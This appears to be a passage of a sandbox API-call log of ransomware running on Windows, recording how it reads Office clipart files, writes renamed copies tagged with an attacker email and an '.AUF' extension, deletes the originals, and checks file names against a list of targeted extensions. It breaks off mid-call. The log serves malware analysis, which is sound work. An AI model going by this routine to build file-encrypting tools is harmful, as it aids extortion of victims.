CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.063] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.063] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.063] GetLastError () returned 0x0 [0222.063] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x7a8, lpOverlapped=0x0) returned 1 [0222.230] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0222.231] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.231] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.231] SetEndOfFile (hFile=0x184) returned 1 [0222.231] CloseHandle (hObject=0x184) returned 1 [0222.231] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.231] SetEndOfFile (hFile=0x1f8) returned 1 [0222.231] CloseHandle (hObject=0x1f8) returned 1 [0222.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0222.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0222.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0222.342] lstrlenW (lpString=".doc") returned 4 [0222.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.342] lstrlenW (lpString=".docx") returned 5 [0222.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.342] lstrlenW (lpString=".pdf") returned 4 [0222.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.342] lstrlenW (lpString=".xls") returned 4 [0222.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.342] lstrlenW (lpString=".xlsx") returned 5 [0222.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.343] lstrlenW (lpString=".ppt") returned 4 [0222.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0222.343] lstrlenW (lpString=".zip") returned 4 [0222.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.343] lstrlenW (lpString=".rar") returned 4 [0222.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.343] lstrlenW (lpString=".bz2") returned 4 [0222.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.343] lstrlenW (lpString=".7z") returned 3 [0222.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0222.343] lstrlenW (lpString=".dbf") returned 4 [0222.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0222.343] lstrlenW (lpString=".1cd") returned 4 [0222.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0222.343] lstrlenW (lpString=".jpg") returned 4 [0222.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.366] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.366] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.367] GetLastError () returned 0x0 [0222.367] ReadFile (in: hFile=0x184, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3158, lpOverlapped=0x0) returned 1 [0222.394] WriteFile (in: hFile=0x22c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3160, lpOverlapped=0x0) returned 1 [0222.396] ReadFile (in: hFile=0x184, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.396] WriteFile (in: hFile=0x22c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.396] SetEndOfFile (hFile=0x22c) returned 1 [0222.396] CloseHandle (hObject=0x22c) returned 1 [0222.396] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.396] SetEndOfFile (hFile=0x184) returned 1 [0222.397] CloseHandle (hObject=0x184) returned 1 [0222.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0222.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0222.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0222.408] lstrlenW (lpString=".doc") returned 4 [0222.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString=".docx") returned 5 [0222.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.408] lstrlenW (lpString=".pdf") returned 4 [0222.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString=".xls") returned 4 [0222.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.408] lstrlenW (lpString=".xlsx") returned 5 [0222.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.408] lstrlenW (lpString=".ppt") returned 4 [0222.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0222.408] lstrlenW (lpString=".zip") returned 4 [0222.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.408] lstrlenW (lpString=".rar") returned 4 [0222.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString=".bz2") returned 4 [0222.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString=".7z") returned 3 [0222.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0222.408] lstrlenW (lpString=".dbf") returned 4 [0222.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0222.408] lstrlenW (lpString=".1cd") returned 4 [0222.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0222.408] lstrlenW (lpString=".jpg") returned 4 [0222.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.408] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.408] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.409] GetLastError () returned 0x0 [0222.409] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xfc0, lpOverlapped=0x0) returned 1 [0222.467] WriteFile (in: hFile=0x230, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0222.467] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.467] WriteFile (in: hFile=0x230, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.468] SetEndOfFile (hFile=0x230) returned 1 [0222.468] CloseHandle (hObject=0x230) returned 1 [0222.468] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.468] SetEndOfFile (hFile=0x180) returned 1 [0222.469] CloseHandle (hObject=0x180) returned 1 [0222.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0222.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0222.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0222.470] lstrlenW (lpString=".doc") returned 4 [0222.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.470] lstrlenW (lpString=".docx") returned 5 [0222.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.470] lstrlenW (lpString=".pdf") returned 4 [0222.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.470] lstrlenW (lpString=".xls") returned 4 [0222.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.470] lstrlenW (lpString=".xlsx") returned 5 [0222.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.470] lstrlenW (lpString=".ppt") returned 4 [0222.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0222.470] lstrlenW (lpString=".zip") returned 4 [0222.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.470] lstrlenW (lpString=".rar") returned 4 [0222.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.470] lstrlenW (lpString=".bz2") returned 4 [0222.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.470] lstrlenW (lpString=".7z") returned 3 [0222.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0222.471] lstrlenW (lpString=".dbf") returned 4 [0222.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0222.471] lstrlenW (lpString=".1cd") returned 4 [0222.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0222.471] lstrlenW (lpString=".jpg") returned 4 [0222.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.499] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.499] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.499] GetLastError () returned 0x0 [0222.499] ReadFile (in: hFile=0x230, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x47c, lpOverlapped=0x0) returned 1 [0222.527] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x480, lpOverlapped=0x0) returned 1 [0222.528] ReadFile (in: hFile=0x230, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.528] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.528] SetEndOfFile (hFile=0x21c) returned 1 [0222.528] CloseHandle (hObject=0x21c) returned 1 [0222.528] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.528] SetEndOfFile (hFile=0x230) returned 1 [0222.546] CloseHandle (hObject=0x230) returned 1 [0222.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0222.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0222.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0222.546] lstrlenW (lpString=".doc") returned 4 [0222.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.546] lstrlenW (lpString=".docx") returned 5 [0222.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.546] lstrlenW (lpString=".pdf") returned 4 [0222.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.546] lstrlenW (lpString=".xls") returned 4 [0222.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.546] lstrlenW (lpString=".xlsx") returned 5 [0222.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.546] lstrlenW (lpString=".ppt") returned 4 [0222.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0222.546] lstrlenW (lpString=".zip") returned 4 [0222.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.546] lstrlenW (lpString=".rar") returned 4 [0222.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.547] lstrlenW (lpString=".bz2") returned 4 [0222.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.547] lstrlenW (lpString=".7z") returned 3 [0222.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0222.547] lstrlenW (lpString=".dbf") returned 4 [0222.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0222.547] lstrlenW (lpString=".1cd") returned 4 [0222.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0222.547] lstrlenW (lpString=".jpg") returned 4 [0222.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.558] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.558] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.558] GetLastError () returned 0x0 [0222.558] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1526, lpOverlapped=0x0) returned 1 [0222.632] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1530, lpOverlapped=0x0) returned 1 [0222.633] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.633] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.633] SetEndOfFile (hFile=0x1f0) returned 1 [0222.634] CloseHandle (hObject=0x1f0) returned 1 [0222.634] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.634] SetEndOfFile (hFile=0x220) returned 1 [0222.634] CloseHandle (hObject=0x220) returned 1 [0222.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0222.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0222.635] lstrlenW (lpString=".doc") returned 4 [0222.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString=".docx") returned 5 [0222.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.635] lstrlenW (lpString=".pdf") returned 4 [0222.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString=".xls") returned 4 [0222.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.635] lstrlenW (lpString=".xlsx") returned 5 [0222.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.635] lstrlenW (lpString=".ppt") returned 4 [0222.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0222.635] lstrlenW (lpString=".zip") returned 4 [0222.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.635] lstrlenW (lpString=".rar") returned 4 [0222.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString=".bz2") returned 4 [0222.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString=".7z") returned 3 [0222.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0222.635] lstrlenW (lpString=".dbf") returned 4 [0222.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0222.635] lstrlenW (lpString=".1cd") returned 4 [0222.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0222.635] lstrlenW (lpString=".jpg") returned 4 [0222.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.636] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=7932) returned 1 [0222.636] CloseHandle (hObject=0x220) returned 1 [0222.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0222.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.636] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.636] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 